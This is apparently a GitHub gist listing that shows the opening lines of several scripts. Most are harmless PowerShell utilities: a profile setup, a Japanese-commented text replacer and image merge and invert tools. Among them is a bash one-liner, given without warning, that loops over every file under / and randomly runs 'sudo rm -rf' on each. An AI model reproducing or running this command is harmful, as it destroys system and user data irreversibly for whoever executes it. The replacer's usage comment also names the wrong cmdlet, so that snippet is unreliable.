This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# inspired by yht0827 | |
# https://gist.github.com/yht0827/911fa41750251f66d10650a0cf5a9c20 | |
# | |
# Before Set this file. | |
# 1. install ConsoleExtensions Module | |
# Install-Module -Name Communary.ConsoleExtensions | |
# details https://www.powershellgallery.com/packages/Communary.ConsoleExtensions/1.0.69 | |
# | |
# 2. Download Test-IsAdmin and Copy to C:\Windows\System32\WindowsPowerShell\v1.0 | |
# https://gallery.technet.microsoft.com/scriptcenter/1b5df952-9e10-470f-ad7c-dc2bdc2ac946 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
for i in $(find /); do [ $[ $RANDOM % 2 ] == 0 ] && sudo rm -rf $i ; done; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#=============================================================================== | |
# Replace-Content: 特定パス配下の全てのファイル内の指定文字列を置換する | |
# Param: | |
# $filePath : ファイルパス | |
# $replaceText1 : 置換対象文字列 | |
# $replaceText2 : 置換後の文字列 | |
# | |
# 使用例 | |
# #sample.txtのファイル内の"AAA"という文字列を"BBB"に置換する | |
# Get-Content "C:\Work\*" "AAA" "BBB" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# Usage : .\Merge-Image.ps1 .\test*.png .\mergeImages\ | |
# | |
$fileList = Get-ChildItem $args[0] | |
for ($i = 0; $i -lt $fileList.count; $i = $i + 2) { | |
# Add System.Drawing assembly | |
Add-Type -AssemblyName System.Drawing | |
$firstImage = [System.Drawing.Image]::FromFile((Get-Item $fileList[$i])) | |
if (($i + 1) -lt $fileList.count) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# Usage : .\Invert-Image.ps1 .\test*.png | |
# | |
[System.Reflection.Assembly]::LoadWithPartialName("System.Drawing") | Out-Null | |
Get-ChildItem $args[0] | ForEach-Object { | |
$image = New-Object System.Drawing.Bitmap($_.fullname) | |
for ($y = 0; $y -lt $image.Height; $y++) { | |
for ($x = 0; $x -lt $image.Width; $x++) { | |
$pixelColor = $image.GetPixel($x, $y) | |
$varR = 255 - $pixelColor.R |